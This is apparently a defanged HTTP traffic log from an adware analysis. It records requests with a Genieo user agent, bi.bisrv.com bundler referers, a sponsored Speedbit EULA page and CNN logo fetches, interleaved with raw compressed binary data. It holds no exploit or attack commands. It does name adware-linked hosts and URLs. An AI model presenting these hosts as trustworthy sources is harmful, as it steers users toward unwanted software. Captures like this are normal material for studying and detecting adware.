....;.....?..<..LO....D..o..xkb j..v..3..="x..t.2......}..G..0..bp.
..P...r .qg.6..RGC.......F...}.4._......H.....?..&.8....^...W.........
".Q...i.........\i...l.>.{.....rh.h..3.L....s.3D.Q..#.n......8:i._.
:.@......>[email protected]..&G....S..GM"4.....!vPc
Z.^e.r..Y.,.......a..f....H(.V.*......X.TL...7 ....^5.fv..O..o...M....
=#.....G.%Y.Vc|.....V..o...q....&.....o.....Fp.]3.d..{.G.RB........32.
@.pUl*.5.W..QPQ:i.9z....T.....P..B.....".U..`.....J.x.....(........O..
H...}M.c... .eUs.....{.%.M>...?..f....(.....;........[..zh.Nl.^p.Nt
.F..v.,O5....c.L.6Yq..V......y...I..*...k/r."vt.u....w..buR05.>c ..
y=(.w......HIQ..j...gD.......HlOJ..P..c%N3...s|P..\C1p{MM...J<.).Va
..&..}.%.B( ]B..c1.k]..[a......L..,...D..i..~R3M.V].j....Y.......R..`.
....................v.W....q...EV....<[email protected]'.0..
[email protected]..}c...........G%.WM..R..[.{....x
..................N......||... .././3Bv.F...Pk<.....%..H.H.Sf...r4.
..LX..y....Y.......$..P.%[email protected].&..-.`.!.>..mT.y.....
L...;.?...t[.].1.y7...Y./~5......J..q.Ul.<%..^.>.w..q......z.~Z#
.......x-...e.......6B <...{... K........x...E.h,.......Z....E.>
...S..u.i..d.... .\...#......... .HW.....F(..`..N\.#R..........}...l..
....L..1.G.9X.....?.)...wh......To..&G...8...s`.....x<.]......l...D
(...........D.&LL.._......xG.;..*6..l..c.....7.........8.E.......%.o..
[Mw..}T..I....?.t..\...!......*.r....J..,Z.G..4l.'uT...hf./Z.s..B_<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: tools.google.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Moved Temporarily

Location: hXXps://VVV.google.com/chrome

Content-Type: text/html; charset=UTF-8

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:04:53 GMT

Expires: Fri, 15 May 2015 23:04:53 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Content-Length: 176

Server: GSE

Alternate-Protocol: 80:quic,p=1
..........m....0.D.~...M{-1.56.E.....b...h ......e..ax...J.1)...uQ...}
a...d]......!b........T.u..].D@....>[email protected]).F....2.
GJ.u..k......ig....!.).=...../.........HTTP/1.1 302 Moved Temporarily.
.Location: hXXps://VVV.google.com/chrome..Content-Type: text/html; cha
rset=UTF-8..Content-Encoding: gzip..Date: Fri, 15 May 2015 23:04:53 GM
T..Expires: Fri, 15 May 2015 23:04:53 GMT..Cache-Control: private, max
-age=0..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..
X-XSS-Protection: 1; mode=block..Content-Length: 176..Server: GSE..Alt
ernate-Protocol: 80:quic,p=1............m....0.D.~...M{-1.56.E.....b..
.h ......e..ax...J.1)...uQ...}a...d]......!b........T.u..].D@....>.
[email protected]).F....2.GJ.u..k......ig....!.).=...../.........<
/font>....

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: tools.google.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Moved Temporarily

Location: hXXps://VVV.google.com/chrome

Content-Type: text/html; charset=UTF-8

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:04:57 GMT

Expires: Fri, 15 May 2015 23:04:57 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Content-Length: 176

Server: GSE

Alternate-Protocol: 80:quic,p=1

....

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: tools.google.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Moved Temporarily

Location: hXXps://VVV.google.com/chrome

Content-Type: text/html; charset=UTF-8

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:04:57 GMT

Expires: Fri, 15 May 2015 23:04:57 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Content-Length: 176

Server: GSE

Alternate-Protocol: 80:quic,p=1
..........m....0.D.~...M{-1.56.E.....b...h ......e..ax...J.1)...uQ...}
a...d]......!b........T.u..].D@....>[email protected]).F....2.
GJ.u..k......ig....!.).=...../.........HTTP/1.1 302 Moved Temporarily.
.Location: hXXps://VVV.google.com/chrome..Content-Type: text/html; cha
rset=UTF-8..Content-Encoding: gzip..Date: Fri, 15 May 2015 23:04:57 GM
T..Expires: Fri, 15 May 2015 23:04:57 GMT..Cache-Control: private, max
-age=0..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..
X-XSS-Protection: 1; mode=block..Content-Length: 176..Server: GSE..Alt
ernate-Protocol: 80:quic,p=1............m....0.D.~...M{-1.56.E.....b..
.h ......e..ax...J.1)...uQ...}a...d]......!b........T.u..].D@....>.
[email protected]).F....2.GJ.u..k......ig....!.).=...../..........
.

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: ya.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 Ok

Server: nginx

Date: Fri, 15 May 2015 23:04:50 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Cache-Control: no-cache,no-store,max-age=0,must-revalidate

Expires: Fri, 15 May 2015 23:04:50 GMT

Last-Modified: Fri, 15 May 2015 23:04:50 GMT

Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' hXXps://yastatic.net *.yandex.ru yandex.ru *.yandex.net hXXps://*.yandex.ru hXXps://yandex.ru hXXps://*.yandex.net yandex.st yastatic.net *.yastatic.net ws://portal-xiva.yandex.net wss://portal-xiva.yandex.net wss://push.yandex.ru; img-src data: 'self' hXXps://yastatic.net *.yandex.ru yandex.ru *.tns-counter.ru *.gemius.pl hXXps://*.yandex.ru hXXps://yandex.ru hXXps://*.tns-counter.ru hXXps://*.gemius.pl yandex.st *.yandex.net yastatic.net *.yastatic.net; report-uri hXXp://VVV.yandex.ru/log/csp?from=yaru.ru&showid=22888.19459.1431731090.20397&h=m17&yu=1613692281431731090;

P3P: policyref="/w3c/p3p.xml", CP="NON DSP ADM DEV PSD IVDo OUR IND STP PHY PRE NAV UNI"

Set-Cookie: yandexuid=1613692281431731090; Expires=Mon, 12-May-2025 23:04:50 GMT; Domain=.ya.ru; Path=/

X-Frame-Options: DENY

X-XRDS-Location: hXXp://openid.yandex.ru/server_xrds/

Content-Encoding: gzip
e8a.............:ks........X...,..@_..SM......U.Y.Kr-<...(F.L.~..N.
[email protected].$..v........=.].h...'.~.....(..._..1...v.{oy/N..
.s.....fBC.,.p.zi|.'...!...b).J...M.....l$.....p.D...G.....9a.w)...o..
...$.cA.!A......C.'......*B......._.......#W.V.=...W.1Y...F.r.....'.{.
..}..C._......qHl........#F..r.)....;1.n....a2L\.V..,...o...q<D....
P...$...... q.`?......W..a?..C..ae..V....b,.}..^.@}`$.p..N.S.e<4...
....../....k..j..RR_.d<u.....a....W?......5.'H......:r..UXs..?**8_.
.I.g.....u........%Tm..v.0....~.y..Z..(...p..y:.3....C....,d...k......
..T...4..".....(...,U....d..q..$..........kQ.&(r............K..?..o...
P...A..r.........[.rbp../P..3...d...^..i.....$$..aD.,...1....8.)?O.c..
..s^.BS.D..b.......R=O./.........AxC.WT<.>._.D..Xg..E..5$...y...
1.$,z....A..?d....$rJ.B..Uq..#.."..rpi..B........x(F.....]Z...:..Q..&l
t;r!...e.6..K.....iu.bD..i.^a..~<...?"..S,....d._..h...R.q*C.#.$...
x..0.."ib6<...dB.1..^.G..G.6.@......:\.!.t....=.e=....pt......c....
a<...~|..............._....C{..]........r.4.L...7..o!@L$]j@!hk3H.
...5.....HNoh...^.eF2..8..m..H..;z.9g.b!m#.>K...g........F.3.q..2.U
^.j./.../.....w-...%..,wqzrF.K......2.q.fm{;.*-..V.([email protected].
..j.'X......w..&..CT..............E.q..q.dD....u..........f.^w%..H....
...O^.<..c._..7T..e...}.....hg.,lq ........,.9.O...y....%..v.......
`.j.k5..:..;5.=..4..<J..e...l.Q.B.....j.&_.3....Q...A.......F|."...
.X...\5.E.....&B. .........4...XQ.Y....3#...>...,I.@&...\.6....Sh..
.Y.'*s...,J..Z...5C ...B.T....\.a$...dm.k.dT[.....-,........O..7.&<<< skipped >>>

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1jawciiqjso8h.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 22:32:49 GMT

Last-Modified: Thu, 14 May 2015 08:30:04 GMT

ETag: "55545d0c-6721"

Expires: Fri, 15 May 2015 22:42:49 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

X-Cache: RefreshHit from cloudfront

Via: 1.1 4d52cc244750d1f20eda4f3ba9e3b681.cloudfront.net (CloudFront)

X-Amz-Cf-Id: k7QDKa_J-SvN-2P2Ct2EVJNfCCNmTQxF4Nou2Q3kyKVe-Tc_XMhajg==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1jawciiqjso8h.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:01:31 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Fri, 15 May 2015 23:11:31 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: Miss from cloudfront

Via: 1.1 4d52cc244750d1f20eda4f3ba9e3b681.cloudfront.net (CloudFront)

X-Amz-Cf-Id: My1jBw0bvXvDmzfdfhp0hLSYEV_mOXPGkKsR98UzphdvJoh-2HYWog==
fbd.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^.
I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./.
g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e.
d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..r
9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.\
.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:..
....0.........................'._......?.l....o..Q.....9..q.C.]..4....
70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u.
S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM..
. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r......
.A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn..
.......e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........).
r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........y
1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....>
;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.5
>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x..
Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;.
L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^....
&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX.
.6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....m
.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga..
..EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....!<<< skipped >>>

GET /cnn/.e/img/4.0/logos/cnn_arabic_bw.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Tue, 30 Dec 2014 09:48:12 GMT

Accept-Ranges: bytes

Content-Length: 10157

Content-Type: image/png

Cache-Control: max-age=306679124

Expires: Sat, 01 Feb 2025 11:43:43 GMT

Date: Fri, 15 May 2015 23:04:59 GMT

Connection: keep-alive
.PNG........IHDR...,...d......c......tEXtSoftware.Adobe ImageReadyq.e&
lt;...(iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:59
E02F2B7A3D11E4A63AB6FE75E98166" xmpMM:InstanceID="xmp.iid:59E02F2A7A3D
11E4A63AB6FE75E98166" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macint
osh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:59E02F267A3D
11E4A63AB6FE75E98166" stRef:documentID="xmp.did:59E02F277A3D11E4A63AB6
FE75E98166"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>...z..$.IDATx....W.I..k..Q...OPQtPp..
E.......O..3..>[email protected]<f<v..:...2....n.3~....YY.q|#22..
...(P.@....!..([email protected]. .....B.(P..@..}.B......_}..\$.......p...
........E.. .H'~..4P. .3D...Q..5e...EGh.....3.h!QQ.-.. ...._....W..-.M
>.I[.r..%K..y...[.a6`5P. .3.#.e-!.......w....9......sgbb.{./^\___UU
.l.2..../........`..-$Z.n....Q.F..*d...S.......U...._.|.....>}....Q
T7.i..q....GFF......p....HD...e...*..-.#..'.V^^..TII......N.a..}......
:._... V.o%."..Q..ys.>l.|.C.$0P..YK#2...h.H..*.4.3..7...... ._.9.Z.
14Jg.u..aq.|..-*...............\..._.v..O;dH....~ .......Yv..$. .;<<< skipped >>>

GET /cnn/.e/img/4.0/logos/cnn_espanol_bw.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Tue, 30 Dec 2014 09:48:13 GMT

Accept-Ranges: bytes

Content-Length: 9258

Content-Type: image/png

Cache-Control: max-age=306679179

Expires: Sat, 01 Feb 2025 11:44:38 GMT

Date: Fri, 15 May 2015 23:04:59 GMT

Connection: keep-alive
.PNG........IHDR...,...d......c......tEXtSoftware.Adobe ImageReadyq.e&
lt;...piTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:17029a69-bd2b-4df2-8bf5-67503eb5448e" xmpMM:DocumentID="xmp.did:
5A738E767A3D11E4A63AB6FE75E98166" xmpMM:InstanceID="xmp.iid:5A738E757A
3D11E4A63AB6FE75E98166" xmp:CreatorTool="Adobe Photoshop CC 2014 (Maci
ntosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FE404B0478
8E11E49AA3B70A3C0DCADA" stRef:documentID="xmp.did:FE404B05788E11E49AA3
B70A3C0DCADA"/> </rdf:Description> </rdf:RDF> </x:xm
pmeta> <?xpacket end="r"?>4SZf.. PIDATx......E.....A.Q.m..A.P
@DE...#n..........x...#..... ......(..".=..|..3....k.g0.bNMuU...Gd....
.F.....#3.2d.L.!...z......k.....M...........v$...[.........2..".w..\2.
u..~...ACr..Q]....x$.bV.d<#..q.ja.$?d$w.r.p..O.!C.!3a....3d.L.!C...
..(.Q.t.D...H...&Z.$...2.8...z.H.$.S....G.2`...iG.#ZE]....V-...!.[.V..
....Q...e<...`..(aD?...X.!.....I...5..C..~kII......bJ.kR.BNEe..?r(p
.p7..SX..e....3.2d&........8...L.....A5\.S.....I........G......K...o#*
...)%a...[....N]4.(....)....$...Z...'z..S.......?c...]..h .W.C..u.<<< skipped >>>

GET /cnn/.e/img/4.0/logos/cnn_mexico_bw.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Tue, 30 Dec 2014 09:48:15 GMT

Accept-Ranges: bytes

Content-Length: 9047

Content-Type: image/png

Cache-Control: max-age=306679156

Expires: Sat, 01 Feb 2025 11:44:15 GMT

Date: Fri, 15 May 2015 23:04:59 GMT

Connection: keep-alive
.PNG........IHDR...,...d......c......tEXtSoftware.Adobe ImageReadyq.e&
lt;...(iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:5D
7DB2817A3D11E4A63AB6FE75E98166" xmpMM:InstanceID="xmp.iid:5D7DB2807A3D
11E4A63AB6FE75E98166" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macint
osh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A63AACAA787B
11E49AA3B70A3C0DCADA" stRef:documentID="xmp.did:A63AACAB787B11E49AA3B7
0A3C0DCADA"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>.iA.....IDATx.........G.$....h... xy]
Q..!...I.R...I*.$&.5..@x*...F....1.....O.*.wsNOO..s/T<..........k..
.y.u...o.)R......E....)[email protected]..."E....)[email protected]."E....) ,R.H.a."..E..) ,
R...H."..E....)R...H..."E....)[email protected]..."E....)[email protected]."E.. ............
._......[.(<^..;..R..)....G5..}..;.fM.../...!Q.......r.}....&L....-
.7.....|....v..Y^.G....47.yM.k...[..T.|.a.-k.....w~\]b......}....[G..P
..E.........\..U.1........|4....l....4..7{.;.....^......N.C'X?rk..]...
.Y^B..&...as.......&I9..a....EHJK...)F.... p.@.^TOw.\....FO... g......
Jh..E....z....XT'..Hq...!.J\\....!..W.^c....c...;./.~.`.4..&N)....<<< skipped >>>

GET /cnn/.e/img/4.0/logos/cnn_facebook_bw.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Tue, 30 Dec 2014 09:48:14 GMT

Accept-Ranges: bytes

Content-Length: 21587

Content-Type: image/png

Cache-Control: max-age=306679135

Expires: Sat, 01 Feb 2025 11:43:54 GMT

Date: Fri, 15 May 2015 23:04:59 GMT

Connection: keep-alive
.PNG........IHDR...,...d......c......tEXtSoftware.Adobe ImageReadyq.e&
lt;...(iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:5A
738E7E7A3D11E4A63AB6FE75E98166" xmpMM:InstanceID="xmp.iid:5A738E7D7A3D
11E4A63AB6FE75E98166" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macint
osh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FC3E995F787C
11E49AA3B70A3C0DCADA" stRef:documentID="xmp.did:FC3E9960787C11E49AA3B7
0A3C0DCADA"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>i..r..P.IDATx......Uu.....A....AFG&..
.j9&..R..o..R....I>h. ...N...EA&....Q.w.....~......]..{...g.5.{.u..
...'.ph...#._..W..y..#/?../......u.v.j\.....'..........O.`.?.. .;.....
.O./...].k.p..6............\.m.7._..........w..~.X..n.....}.>......
.....w<...._.f..."..0(. gz.s.ea.&..2.h.G...1..y.B........7.2.......
.E..8.n.m.t._....O.y.]K.m..yF......|y........1.w?..D....o./yAv..W.....
......a. g.........7...i...@..[.M..:.2.e._.."...<.A@{~....Z....C.Am
C.r...w..w%[email protected].~.1U......Z..A.@/.&.G...
...M..Ev.D.......~R9ds.....I.R......<.o..o...m..?...cjKW....C..<<< skipped >>>

GET /cnn/.e/img/4.0/logos/cnn_twitter_bw.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Tue, 30 Dec 2014 09:48:15 GMT

Accept-Ranges: bytes

Content-Length: 17583

Content-Type: image/png

Cache-Control: max-age=306679134

Expires: Sat, 01 Feb 2025 11:43:53 GMT

Date: Fri, 15 May 2015 23:04:59 GMT

Connection: keep-alive
.PNG........IHDR...,...d......c......tEXtSoftware.Adobe ImageReadyq.e&
lt;...(iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:5D
D987847A3D11E4A63AB6FE75E98166" xmpMM:InstanceID="xmp.iid:5DD987837A3D
11E4A63AB6FE75E98166" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macint
osh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:48EF727C7880
11E49AA3B70A3C0DCADA" stRef:documentID="xmp.did:48EF727D788011E49AA3B7
0A3C0DCADA"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>.dh?..A.IDATx.....&U.....E...."."...J
...JT.......*...*o.(I2(C....  .J4...|./k..{w?.....T.~:..r.g.}.........
.........-[[email protected]....^.L..|..q.........p.......'...s....#. .c.;.
...<...!......G.;..<#M...^;....zC..._q.......8.\.#..=.[..&(...4t
[email protected].,|4.....%[email protected]`0Z...c..Yh.q.&(.=V.
....[.%H......(.d}6V....,W..;@Q`"r.%....7..g.A._.'#.u........I. ...R..
...K.<...&2....#.@OJk"[email protected]....^....h....C].Y...Nm.....
,D.....Dh.sJ....|.C.j563...k.y.I......%....5.(....QB..."....6..M<..
{..Sw.9...-..&...X..*....,.n.....Mc!T...\.....gL.....?i.q.#.H`..-.<<< skipped >>>

GET /cnn/.e/img/4.0/logos/cnn_googleplus_bw.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Tue, 30 Dec 2014 09:48:13 GMT

Accept-Ranges: bytes

Content-Length: 8951

Content-Type: image/png

Cache-Control: max-age=306679167

Expires: Sat, 01 Feb 2025 11:44:27 GMT

Date: Fri, 15 May 2015 23:05:00 GMT

Connection: keep-alive
......Exif..II*.................Ducky.......d.....1hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c02
1 79.155772, 2014/01/13-19:44:00        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh
)" xmpMM:InstanceID="xmp.iid:708F663F788011E49AA3B70A3C0DCADA" xmpMM:D
ocumentID="xmp.did:708F6640788011E49AA3B70A3C0DCADA"> <xmpMM:Der
ivedFrom stRef:instanceID="xmp.iid:708F663D788011E49AA3B70A3C0DCADA" s
tRef:documentID="xmp.did:708F663E788011E49AA3B70A3C0DCADA"/> </r
df:Description> </rdf:RDF> </x:xmpmeta> <?xpacket en
d="r"?>....Adobe.d.................................................
......................................................................
..........................d.,.........................................
............................................a....!Q.1...Aq...."b.....#
.B.......TU.F.h.2Rr.3$4def..W..X)..............................?...2..
.t.2..e....e.;[email protected]]...........t.2..;....f].....1.(..wO...wO...
